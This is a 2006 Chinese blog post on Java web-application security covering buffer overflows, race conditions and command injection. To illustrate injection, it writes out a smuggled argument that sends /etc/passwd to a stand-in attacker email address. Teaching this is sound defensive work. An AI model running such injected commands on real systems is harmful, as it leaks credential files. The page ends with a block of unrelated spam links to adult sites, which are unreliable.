<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    posts - 36,comments - 31,trackbacks - 0

    一、概述
      
        編寫安全的 Internet 應用并不是一件輕而易舉的事情:只要看看各個專業公告板就可以找到連續不斷的安全漏洞報告。你如何保證自己的 Internet 應用不象其他人的應用那樣滿是漏洞?你如何保證自己的名字不會出現在令人難堪的重大安全事故報道中?
      
      
        如果你使用 Java Servlet JavaServer Pages(JSP) 或者 EJB ,許多難以解決的問題都已經事先解決。當然,漏洞仍有可能出現。下面我們就來看看這些漏洞是什么,以及為什么 Java 程序員不必擔心部分 C Perl 程序員必須面對的問題。
      
         C 程序員對安全漏洞應該已經很熟悉,但象 OpenBSD 之類的工程提供了處理此類問題的安全系統。 Java 語言處理這類問題的經驗要比 C 20 年,但另一方面, Java 作為一種客戶端編程語言誕生,客戶端對安全的要求比服務器端苛刻得多。它意味著 Java 的發展有著一個穩固的安全性基礎。
      
         Java 原先的定位目標是瀏覽器。然而,瀏覽器本身所帶的 Java 虛擬機雖然很不錯,但卻并不完美。 Sun 的《 Chronology of security-related bugs and issues 》總結了運行時環境的漏洞發現歷史。我們知道,當 Java 用作服務器端編程語言時,這些漏洞不可能被用作攻擊手段。但即使 Java 作為客戶端編程語言,重大安全問題的數量也從 1996 年的 6 ( 其中 3 個是相當嚴重的問題 ) 降低到 2000 年的 1 個。不過,這種安全性的相對提高并不意味著 Java 作為服務器端編程語言已經絕對安全,它只意味著攻擊者能夠使用的攻擊手段越來越受到限制。那么,究竟有哪些地方容易受到攻擊,其他編程語言又是如何面對類似問題的呢?
      
        二、緩存溢出
      
        在 C 程序中,緩存溢出是最常見的安全隱患。緩存溢出在用戶輸入超過已分配內存空間 ( 專供用戶輸入使用 ) 時出現。緩存溢出可能成為導致應用被覆蓋的關鍵因素。 C 程序很容易出現緩存溢出,但 Java 程序幾乎不可能出現緩存溢出。
      
        從輸入流讀取輸入數據的 C 代碼通常如下所示:
      
         char buffer[1000];
      
         int len = read(buffer);
      
        由于緩存的大小在讀入數據之前確定,系統要檢查為輸入保留的緩存是否足夠是很困難的。緩存溢出使得用戶能夠覆蓋程序數據結構的關鍵部分,從而帶來了安全上的隱患。有經驗的攻擊者能夠利用這一點直接把代碼和數據插入到正在運行的程序。
      
        在 Java 中,我們一般用字符串而不是字符數組保存用戶輸入。與前面 C 代碼等價的 Java 代碼如下所示:
      
         String buffer = in.readLine();
      
        在這里, 緩存 的大小總是和輸入內容的大小完全一致。由于 Java 字符串在創建之后不能改變,緩存溢出也就不可能出現。退一步說,即使用字符數組替代字符串作為緩存, Java 也不象 C 那樣容易產生可被攻擊者利用的安全漏洞。例如,下面的 Java 代碼將產生溢出:
      
         char[] bad = new char[6];
      
         bad[7] = 50; 這段代碼總是拋出一個 java.lang.ArrayOutOfBoundsException 異常,而該異常可以由程序自行捕獲:
      
         try {
      
         char[] bad = new char[6];
      
         bad[7] = 50;
      
         }
      
         catch (ArrayOutOfBoundsException ex) {
      
         ... }
      
        這種處理過程永遠不會導致不可預料的行為。無論用什么方法溢出一個數組,我們總是得到 ArrayOutOfBoundsException 異常,而 Java 運行時底層環境卻能夠保護自身免受任何侵害。一般而言,用 Java 字符串類型處理字符串時,我們無需擔心字符串的 ArrayOutOfBoundsExceptions 異常,因此它是一種較為理想的選擇。
      
         Java 編程模式從根本上改變了用戶輸入的處理方法,避免了輸入緩存溢出,從而使得 Java 程序員擺脫了最危險的編程漏洞。
      
        三、競爭狀態
      
        競爭狀態即 Race Condition ,它是第二類最常見的應用安全漏洞。在創建 ( 更改 ) 資源到修改資源以禁止對資源訪問的臨界時刻,如果某個進程被允許訪問資源,此時就會出現競爭狀態。這里的關鍵問題在于:如果一個任務由兩個必不可少的步驟構成,不管你多么想要讓這兩個步驟一個緊接著另一個執行,操作系統并不保證這一點。例如,在數據庫中,事務機制使得兩個獨立的事件 原子化 。換言之,一個進程創建文件,然后把這個文件的權限改成禁止常規訪問;與此同時,另外一個沒有特權的進程可以處理該文件,欺騙有特權的進程錯誤地修改文件,或者在權限設置完畢之后仍繼續對原文件進行訪問。
      
        一般地,在標準 Unix NT 環境下,一些高優先級的進程能夠把自己插入到任務的多個步驟之間,但這樣的進程在 Java 服務器上是不存在的;同時,用純 Java 編寫的程序也不可能修改文件的許可權限。因此,大多數由文件訪問導致的競爭狀態在 Java 中不會出現,但這并不意味著 Java 完全地擺脫了這個問題,只不過是問題轉到了虛擬機上。
      
        我們來看看其他各種開發平臺如何處理這個問題。在 Unix 中,我們必須確保默認文件創建模式是安全的,比如在服務器啟動之前執行 “umask 200” 這個命令。有關 umask 的更多信息,請在 Unix 系統的命令行上執行 “man umask” 查看 umask man 文檔。
      
        在 NT 環境中,我們必須操作 ACL( 訪問控制表, Access Control List) 的安全標記,保護要在它下面創建文件的目錄。 NT 的新文件一般從它的父目錄繼承訪問許可。請參見 NT 文檔了解更多信息。
      
         Java 中的競爭狀態大多數時候出現在臨界代碼區。例如,在用戶登錄過程中,系統要生成一個唯一的數字作為用戶會話的標識符。為此,系統先產生一個隨機數字,然后在散列表之類的數據結構中檢查這個數字是否已經被其他用戶使用。如果這個數字沒有被其他用戶使用,則把它放入散列表以防止其他用戶使用。代碼如 Listing 1 所示:
      
         (Listing 1)
      
         // 保存已登錄用戶的 ID
      
         Hashtable hash;
      
         // 隨機數字生成器
      
         Random rand;
      
         // 生成一個隨機數字
      
         Integer id = new Integer(rand.nextInt());
      
         while (hash.containsKey(id))
      
         {
      
         id = new Integer(rand.nextInt());
      
         }
      
         // 為當前用戶保留該 ID
      
         hash.put(id, data);
      
         Listing 1 的代碼可能帶來一個嚴重的問題:如果有兩個線程執行 Listing 1 的代碼,其中一個線程在 hash.put(...) 這行代碼之前被重新調度,此時同一個隨機 ID 就有可能被使用兩次。在 Java 中,我們有兩種方法解決這個問題。首先, Listing 1 的代碼可以改寫成 Listing 2 的形式,確保只有一個線程能夠執行關鍵代碼段,防止線程重新調度,避免競爭狀態的出現。第二,如果前面的代碼是 EJB 服務器的一部分,我們最好有一個利用 EJB 服務器線程控制機制的唯一 ID 服務。
      
         (Listing 2)
      
         synchronized(hash)
      
         {
      
         // 生成一個唯一的隨機數字
      
         Integer id =
      
         new Integer(rand.nextInt());
      
         while (hash.containsKey(id))
      
         {
      
         id = new Integer(rand.nextInt());
      
         }
      
         // 為當前用戶保留該 ID
      
         hash.put(id, data);
      
         }
      
        四、字符串解釋執行
      
        在有些編程語言中,輸入字符串中可以插入特殊的函數,欺騙服務器使其執行額外的、多余的動作。下面的 Perl 代碼就是一個例子:
      
         = "mail body";
      
         system("/usr/sbin/sendmail -t < ");
      
        顯然,這些代碼可以作為 CGI 程序的一部分,或者也可以從命令行調用。通常,它可以按照如下方式調用:
      
         perl script.pl honest@true.com
      
        它將把一個郵件 ( “mail body”) 發送給用戶 honest@true.com 。這個例子雖然簡單,但我們卻可以按照如下方式進行攻擊:
      
         perl script.pl honest@true.com;mail
      
         cheat@liarandthief.com < /etc/passwd
      
        這個命令把一個空白郵件發送給 honest@true.com ,同時又把系統密碼文件發送給了 cheat@liarandthief.com 。如果這些代碼是 CGI 程序的一部分,它會給服務器的安全帶來重大的威脅。
      
         Perl 程序員常常用外部程序 ( 比如 sendmail) 擴充 Perl 的功能,以避免用腳本來實現外部程序的功能。然而, Java 有著相當完善的 API 。比如對于郵件發送, JavaMail API 就是一個很好的 API 。但是,如果你比較懶惰,想用外部的郵件發送程序發送郵件:
      
         Runtime.getRuntime().exec("/usr/sbin/sendmail -t < ");
      
        事實上這是行不通的。 Java 一般不允許把 OS “< ” “;” 之類的構造符號作為 Runtime.exec() 的一部分。你可能會嘗試用下面的方法解決這個問題:
      
         Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t < ");
      
        但是,這種代碼是不安全的,它把前面 Perl 代碼面臨的危險帶入了 Java 程序。按照常規的 Java 方法解決問題有時看起來要比取巧的方法復雜一點,但它幾乎總是具有更好的可移植性、可擴展性,而且更安全、錯誤更少。

    posted on 2006-08-18 00:19 心隨我動 閱讀(350) 評論(0)  編輯  收藏 所屬分類: Java
    網站流量統計:
    澳大利亞 ABC 在線英語廣播電臺
    主站蜘蛛池模板: 久久亚洲AV无码西西人体| 成人黄动漫画免费网站视频 | 亚洲一区在线观看视频| 免费无码作爱视频| 亚洲自偷自偷偷色无码中文| 免费播放国产性色生活片| 免费大黄网站在线看| 一级毛片视频免费| 久久亚洲国产精品123区| 国产男女爽爽爽免费视频| 国产AV无码专区亚洲AVJULIA | 日本视频免费高清一本18| 亚洲精品国产成人片| 免费看无码特级毛片| 亚洲bt加勒比一区二区| 无码人妻精品中文字幕免费| 亚洲精品线在线观看| 成年黄网站色大免费全看| 亚洲一久久久久久久久| 高清在线亚洲精品国产二区| 一个人免费观看日本www视频| 亚洲精品无码高潮喷水在线| 美丽姑娘免费观看在线观看中文版| 亚洲国产高清在线精品一区| 成人免费视频77777| 曰批免费视频播放在线看片二| 亚洲尤码不卡AV麻豆| 99在线热视频只有精品免费| 亚洲乱码在线观看| 亚洲精品岛国片在线观看| a毛片在线还看免费网站| 亚洲色大成网站www永久| 搡女人真爽免费视频大全| 亚欧国产一级在线免费| 亚洲视频中文字幕在线| 日韩精品成人亚洲专区| 免费国产污网站在线观看15| 国产精品亚洲а∨无码播放麻豆| 亚洲国产AV无码专区亚洲AV| 国产精品美女午夜爽爽爽免费| 成人免费午夜无码视频|